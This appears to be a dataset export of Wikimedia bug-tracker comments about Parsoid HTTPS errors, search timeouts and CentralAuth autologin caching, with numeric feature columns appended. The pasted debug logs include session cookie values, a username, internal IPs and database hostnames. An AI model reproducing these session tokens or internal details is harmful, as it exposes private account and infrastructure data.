+COOKIE: infoLoggedOut=1386191878; __utma=198203634.1203293077.1386191715.1386191715.1386191715.1; __utmc=198203634; __utmz=198203634.1386191715.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); infoUserID=378; infoUserName=Clkoerne; info_session=4f15c368d4244cc2b9e72e06f65adc12; wikiEditor-0-booklet-characters-page=latin; wikiEditor-0-toolbar-section=advanced; vector-nav-p-Repository=true; vector-nav-p-tb=true
+CACHES: MemcachedPhpBagOStuff[main] MemcachedPhpBagOStuff[message] MemcachedPhpBagOStuff[parser]
+[cookie] session_set_cookie_params: ""0"", ""/"", """", ""1"", ""1""
+LocalisationCache: using store LCStoreDB
+Unstubbing $sfgFormPrinter on call of $sfgFormPrinter::setInputTypeHook from SFSelect_formSetup
+Unstubbing $wgParser on call of $wgParser::setHook from ExtDynamicPageList::setupDPL
+Parser: using preprocessor: Preprocessor_DOM
+Connected to database 0 at lnxvmiptdbt01
+Class UniversalLanguageSelectorHooks not found; skipped loading
+Fully initialised
+User: got user 378 from cache
+User: loading options for user 378 from override cache.
+User: logged in from session
+ApiMain::setCacheMode: setting cache mode private
+IP: 10.29.122.24",,,1386269909,,PHID-USER-xd3dshn3ykvvbsxmqbg6,False,,,PHID-TASK-xya74ryevlevdpyqmth6,task_subcomment,,True,c2,3,False,,,14,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,1,0,1,1,1,0,0,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,1,1
+277780,Parsoid cannot connect to https-only host?,"I am experincing the same bug.
+
+Attempting to evoke VisualEditor to edit any pages where we have redirected all traffic to https results in the error.
+
+
+In the browser:
+Error loading data from server:parsoidserver-hhtp-curl-error:
+Empty reply from server. Would you like to retry?
+
+
+Parsoid displays the following upon each attempt to edit a page (in this case Main Page):
+
+ERROR in localhost:Main_Page
+Stack trace: DoesNotExistError: Page Fetch failure for null
+worker 20040 died, restarting.
+
+
+MediaWiki logs show the following for the request:
+
+Start request POST /w/api.php
+HTTP HEADERS:
+HOST: my.wiki.com
+CONNECTION: keep-alive
+CONTENT-LENGTH: 60
+ACCEPT: application/json, text/javascript, */*; q=0.01
+ORIGIN: https://my.wiki.com
+X-REQUESTED-WITH: XMLHttpRequest
+USER-AGENT: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
+CONTENT-TYPE: application/x-www-form-urlencoded; charset=UTF-8
+REFERER: https://my.wiki.com/wiki/Main_Page?veaction=edit
+ACCEPT-ENCODING: gzip,deflate,sdch
+ACCEPT-LANGUAGE: en-US,en;q=0.8
+COOKIE: __utma=198203634.575160840.1386267474.1386267474.1386267474.1; __utmb=198203634.2.10.1386267474; __utmc=198203634; __utmz=198203634.1386267474.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); infoUserID=378; infoUserName=Clkoerne; info_session=7200a1cbfcef48ded410afb07850a6fc
+CACHES: MemcachedPhpBagOStuff[main] MemcachedPhpBagOStuff[message] MemcachedPhpBagOStuff[parser]
+[cookie] session_set_cookie_params: ""0"", ""/"", """", ""1"", ""1""
+LocalisationCache: using store LCStoreDB
+Unstubbing $sfgFormPrinter on call of $sfgFormPrinter::setInputTypeHook from SFSelect_formSetup
+Unstubbing $wgParser on call of $wgParser::setHook from ExtDynamicPageList::setupDPL
+Parser: using preprocessor: Preprocessor_DOM
+Connected to database 0 at lnxvmipdbt01
+Class UniversalLanguageSelectorHooks not found; skipped loading
+Fully initialised
+User: got user 378 from cache
+User: loading options for user 378 from override cache.
+User: logged in from session
+ApiMain::setCacheMode: setting cache mode private
+IP: 10.9.191.150",,,1386269124,,PHID-USER-xd3dshn3ykvvbsxmqbg6,False,,,PHID-TASK-xya74ryevlevdpyqmth6,task_subcomment,,True,c2,3,False,,,14,True,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,1,1,1,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,1,1
+277773,Parsoid cannot connect to https-only host?,"Debug log from parsoid:
+ - worker(23680) ready
+{
+  ""0"": ""WARNING: RETRY:"",
+  ""1"": {}
+}
+Retrying Page Fetch request for null, 4 remaining
+{
+  ""0"": ""WARNING: RETRY:"",
+  ""1"": {}
+}
+Retrying Page Fetch request for null, 3 remaining
+{
+  ""0"": ""WARNING: RETRY:"",
+  ""1"": {}
+}
+Retrying Page Fetch request for null, 2 remaining
+{
+  ""0"": ""WARNING: RETRY:"",
+  ""1"": {}
+}
+Retrying Page Fetch request for null, 1 remaining
+{
+  ""0"": ""WARNING: RETRY:"",
+  ""1"": {}
+}
+Retrying Page Fetch request for null, 0 remaining
+{
+  ""0"": ""WARNING: RETRY:"",
+  ""1"": {}
+}
+ERROR in localhost:Main_Page:
+Page Fetch failure for null
+Stack trace: DoesNotExistError: Page Fetch failure for null
+worker 23671 died (1), restarting.
+ - worker(23690) loading...
+ - worker(23690) ready
+
+
+I don't know if the API works from the external network, this is a protected wiki, I hope login won't be necessary.
+
+https://wiki.mc128k.info",,,1386145344,,PHID-USER-vj2bbc63joi46qr5a5nq,False,,,PHID-TASK-xya74ryevlevdpyqmth6,task_subcomment,,True,c2,3,False,,,14,True,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+277768,Parsoid cannot connect to https-only host?,"I just tested this with 'enwiki' and
+
+parsoidConfig.setInterwiki( 'enwiki', 'https://en.wikipedia.org/w/api.php' );
+
+We don't set the port explicitly and use the API uri as-is, so in theory https-only APIs should work. Do you have a public https-only API URI we can test with?",,,1386118696,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-xya74ryevlevdpyqmth6,task_subcomment,,True,c2,3,False,,,14,True,0,0,0,0,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,0,1,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,0,1,0,0,0,0,0
+277764,Parsoid cannot connect to https-only host?,"I'm sorry, I thought Parsoid was part of VisualEditor. Corrected. Thanks.
+Latest git versions, of parsoid, mediawiki, visualeditor.",,,1381092220,,PHID-USER-vj2bbc63joi46qr5a5nq,False,,,PHID-TASK-xya74ryevlevdpyqmth6,task_subcomment,,True,c2,3,False,,,5,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0
+277761,Parsoid cannot connect to https-only host?,"Hmm, shouldn't this be filed under product ""Parsoid""? :)
+Which Parsoid version and which MediaWiki version is this about?",,,1381092082,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-xya74ryevlevdpyqmth6,task_subcomment,,True,c2,3,True,,,5,True,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0
+56865,Monitor search HTTP timeouts,"UDP logging for search is currently disabled.  However, it would be good to be able to track the main errors.  An example of one that seems important (which I was receiving earlier tonight) is:
+
+An error has occurred while searching: HTTP request timed out
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1380696120,1392335229.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-fumdp5y46dhpxixvu23m,task_description,declined,True,c2,3,False,False,False,5,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,1,1,0,1,0,0,1,1,0,1,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+273927,Monitor search HTTP timeouts,This is mostly a WONTFIX for MWSearch at this point as we're moving full steam ahead towards Cirrus for everyone. The logging situation there is generally improved with slow queries and timeouts.,,,1392335229,,PHID-USER-oetk6bbl6omm354ejz3b,True,,,PHID-TASK-fumdp5y46dhpxixvu23m,task_subcomment,,True,c2,3,True,,,24,True,0,1,0,1,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+273922,Monitor search HTTP timeouts,"If we're interested in timeouts only/mainly, the log for ""Search backend error"" could be split from mwsearch to its own log, if necessary.
+Other than that, this is just a config change (Wikimedia product) I think?",,,1380696477,,PHID-USER-v7bwpq3rs3zdxegibdbh,True,,,PHID-TASK-fumdp5y46dhpxixvu23m,task_subcomment,,True,c2,3,True,,,5,True,0,0,0,1,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,0,1,0,0,0,0,0
+56500,Use a better CentralAuth icon for loginwiki,"https://login.wikimedia.org/wiki/Special:CentralAutoLogin/deleteCookies?type=icon - this is using a Wikipedia logo currently. Can we use a Wikimedia logo at least?
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Medium,50.0,1380027240,1381178345.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-nzebtgpchem4g773gg6i,task_description,resolved,True,c2,3,False,False,True,3,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,1,0,1,0,1,0
+257897,Use a better CentralAuth icon for loginwiki,"Change 86091 merged by jenkins-bot:
+Change SUL image for loginwiki to WMF logo
+
+https://gerrit.wikimedia.org/r/86091",,,1381172664,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nzebtgpchem4g773gg6i,task_subcomment,,True,c2,3,False,,,5,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+257892,Use a better CentralAuth icon for loginwiki,"(In reply to comment #2)
+> OK, but I'm just curious, where is this icon still seen?
+
+Logout page.",,,1380192527,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-nzebtgpchem4g773gg6i,task_subcomment,,True,c2,3,False,,,4,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,1
+257888,Use a better CentralAuth icon for loginwiki,"OK, but I'm just curious, where is this icon still seen?",,,1380192352,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-nzebtgpchem4g773gg6i,task_subcomment,,True,c2,3,False,,,4,True,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,0
+257884,Use a better CentralAuth icon for loginwiki,"Change 86091 had a related patch set uploaded by TTO:
+Change SUL image for loginwiki to WMF logo
+
+https://gerrit.wikimedia.org/r/86091",,,1380192303,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nzebtgpchem4g773gg6i,task_subcomment,,True,c2,3,False,,,4,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+56468,Using the secure API is breaking the Flickr upload (using HTTPSEverywhere),"This could be an upstream bug, either in HTTPSEverywhere or Flickr API, but I'm not sure.
+
+When making a request for a flickr image such as https://secure.flickr.com/photos/sludgeulper/7447549052/in/photostream/ from UploadWizard while having HTTPSEverywhere  active, the API request to secure.flickr.com returns an empty result. When not having the extension active, the result is made to api.flickr.com and works as expected.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1379948580,1389207325.0,PHID-USER-2trxtywh5ma4onasf4kq,False,,False,PHID-TASK-zre4dw2by7umnxgdzcwg,task_description,invalid,True,c2,3,False,False,False,3,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+255830,Using the secure API is breaking the Flickr upload (using HTTPSEverywhere),Can't reproduce this. It seems Flickr changed how they handle HTTPS and there is no redirect now.,,,1389059684,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-zre4dw2by7umnxgdzcwg,task_subcomment,,True,c2,3,True,,,18,True,0,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0
+255822,Using the secure API is breaking the Flickr upload (using HTTPSEverywhere),I think that this is problem in the UploadWizard javascript triggered by HTTPSEverywhere plugin. https://api.flickr.com redirects to https://secure.flickr.com which causes the XHR request to hang/fail. This fix for this may be as easy as changing 'flickrApiUrl' in UploadWizard.config.php from '//api.flickr.com/services/rest/?' to ''https://secure.flickr.com/services/rest/?' making the request SSL/TLS protected for all users.,,,1384972951,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-zre4dw2by7umnxgdzcwg,task_subcomment,,True,c2,3,True,,,12,True,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,0,0,1,0,0,1
+255812,Using the secure API is breaking the Flickr upload (using HTTPSEverywhere),"The bug that we decided this duplicated seemed similar at the time, but it is actually very different.",,,1381880122,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-zre4dw2by7umnxgdzcwg,task_subcomment,,True,c2,3,True,,,6,True,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+255802,Using the secure API is breaking the Flickr upload (using HTTPSEverywhere),"
+
+*** This bug has been marked as a duplicate of bug 42468 ***",,,1381426891,,PHID-USER-edlps6xg553cjlnvd4ao,False,,,PHID-TASK-zre4dw2by7umnxgdzcwg,task_subcomment,,True,c2,3,False,,,6,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+255795,Using the secure API is breaking the Flickr upload (using HTTPSEverywhere),"(In reply to comment #1)
+> A related improvement would be to use the secure API endpoint when the user
+> is using https on the mediawiki site.
+
+Only if it works. ;-)",,,1379997214,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-zre4dw2by7umnxgdzcwg,task_subcomment,,True,c2,3,True,,,3,True,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,1,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+255788,Using the secure API is breaking the Flickr upload (using HTTPSEverywhere),A related improvement would be to use the secure API endpoint when the user is using https on the mediawiki site.,,,1379948656,,PHID-USER-2trxtywh5ma4onasf4kq,False,,,PHID-TASK-zre4dw2by7umnxgdzcwg,task_subcomment,,True,c2,3,False,,,3,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0
+56292,Autocreate not running on Special:CentralAutoLogin,"DGarry (WMF) was hitting a bug today where he logged into enwiki, and SUL logged him into most of the other projects. But, his account wasn't attached on commons, and so that autologin attempt failed, with an error in the header saying the user didn't have an attached account.
+
+When he logged in directly on commons, the account was autocreated correctly.
+
+We should be autocreating the accounts, like used to happen with the old AutoLogin.
+
+--------------------------
+**Version**: master
+**Severity**: normal",Medium,50.0,1379539380,1380142225.0,PHID-USER-doeppszazlm3r7xah4il,False,,False,PHID-TASK-svzudixhz7fip5zakgrk,task_description,resolved,True,c2,3,True,False,True,3,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,1,0
+245119,Autocreate not running on Special:CentralAutoLogin,Deployed,,,1380142225,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-svzudixhz7fip5zakgrk,task_subcomment,,True,c2,3,True,,,4,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0
+245117,Autocreate not running on Special:CentralAutoLogin,"Change 84998 merged by jenkins-bot:
+Don't fail autologin for unattached accounts
+
+https://gerrit.wikimedia.org/r/84998",,,1379616502,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-svzudixhz7fip5zakgrk,task_subcomment,,True,c2,3,False,,,3,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+245115,Autocreate not running on Special:CentralAutoLogin,"(In reply to comment #0)
+> We should be autocreating the accounts, like used to happen with the old
+> AutoLogin.
+
+Actually the old code didn't autocreate the accounts either, it just set the cookies regardless of whether a local account existed or was attached. And that works fine, because it's exactly the same situation as if you log in to enwiki but some unattached account has your name on dewiki.
+
+And if we did autocreate the account we'd still have the bug where if an unattached user existed on say en.wiktionary then the SUL user wouldn't be auto-logged-in to any other wiktionaries either.
+
+So what we really need to do is not care about the local account for the icons. But we do still need to care about the scripts, or we'll re-cause bug 51603.",,,1379610357,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-svzudixhz7fip5zakgrk,task_subcomment,,True,c2,3,True,,,3,True,1,0,0,1,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+245112,Autocreate not running on Special:CentralAutoLogin,"Change 84998 had a related patch set uploaded by Anomie:
+Don't fail autologin for unattached accounts
+
+https://gerrit.wikimedia.org/r/84998",,,1379610316,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-svzudixhz7fip5zakgrk,task_subcomment,,True,c2,3,False,,,3,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+245107,Autocreate not running on Special:CentralAutoLogin,"(In reply to comment #0)
+> his account wasn't attached
+> on
+> commons
+
+Clarification to pre-SUL dinosaurs like me: it wasn't attached because it didn't exist at all locally. No local unattached accounts here, luckily.
+[[Special:CentralAuth/DGarry (WMF)]]",,,1379609188,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-svzudixhz7fip5zakgrk,task_subcomment,,True,c2,3,True,,,3,True,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,1
+56195,CentralAuth not caching Special:CentralAutoLogin/start,"Ops pointed out that almost 60% of the apache traffic is calls to Special:CentralAutoLogin. About half of that traffic is to /start, so it looks like Special:CentralAutoLogin/start is still not cached, even though we don't disable client caching in the output page. MediaWiki is sending Cache-Control private.
+
+csteipp@linux-hv06:~> curl -Ik 'https://en.wikipedia.org/wiki/index.php?title=Special:CentralAutoLogin/start&type=script&returnto=One&returntoquery=' | grep Cache-Control
+Cache-Control: private, s-maxage=0, max-age=0, must-revalidate
+
+It seems like that is because OutputPage checks to see if $this->mSquidMaxage != 0, otherwise it sends out the private header. On my dev system, I added $this->getOutput()->setSquidMaxage( 3600 ), and I then get
+
+csteipp@linux-hv06:~> curl -Ik 'https://127.0.0.1/wiki_port83/de/index.php?title=Special:CentralAutoLogin/start&type=script&returnto=One&returntoquery='
+HTTP/1.1 302 Found
+Date: Mon, 16 Sep 2013 23:32:21 GMT
+Server: Apache/2.2.22 (Linux/SUSE)
+X-Powered-By: PHP/5.3.17
+X-Content-Type-Options: nosniff
+P3P: CP=""This is not a P3P policy! See http://127.0.0.1/wiki_port83/de/index.php?title=Special:CentralAutoLogin/P3P for more info.""
+Vary: Accept-Encoding,Cookie
+Cache-Control: s-maxage=3600, must-revalidate, max-age=0
+Location: https://127.0.0.1/wiki_port83/pool/index.php?title=Special:CentralAutoLogin/checkLoggedIn&wikiid=dewiki83&proto=https&type=script&returnto=One&returntoquery=
+Content-Type: text/html; charset=utf-8
+
+
+Is that enough to have varnish cache these, but logged in users will always bypass the cache?
+
+--------------------------
+**Version**: master
+**Severity**: major
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52206",Medium,50.0,1379374620,1430152692.0,PHID-USER-doeppszazlm3r7xah4il,False,PHID-USER-doeppszazlm3r7xah4il,False,PHID-TASK-twf7ar32smkopiuo4xx6,task_description,resolved,True,c2,3,True,True,False,2,True,1,0,0,0,1,1,1,1,1,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,0,1,0,1,0,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+449675,CentralAuth not caching Special:CentralAutoLogin/start,"I don't think there are any remaining issue that are high enough priority for anyone to work on. If anyone in ops thinks different, let me know and we can plan it out.",,,1430152692,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,True,,,86,True,1,1,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0
+449308,CentralAuth not caching Special:CentralAutoLogin/start,Can this be closed or is this still a problem.,,,1430070996,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,False,,,86,True,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0
+239981,CentralAuth not caching Special:CentralAutoLogin/start,"I'll let Faidon weigh in on how much we need to setup the varnish cache for that page. But given the current load on the backend vs the potential impact (positive, and negative if we mess any part of it up), I'm not sure how high of a priority we want that. Bumping this to normal for now.",,,1390410140,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,True,,,21,True,1,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+239975,CentralAuth not caching Special:CentralAutoLogin/start,"(In reply to comment #35 by csteipp)
+> The only remaining thing would be to (very carefully) return a cached
+> response from Varnish for loginwiki's /checkLoggedIn
+[...]
+> But I think Varnish still ignores all caching for
+> Special:CentralAutoLogin after bug 53032?
+
+All patches are in - resetting status.
+
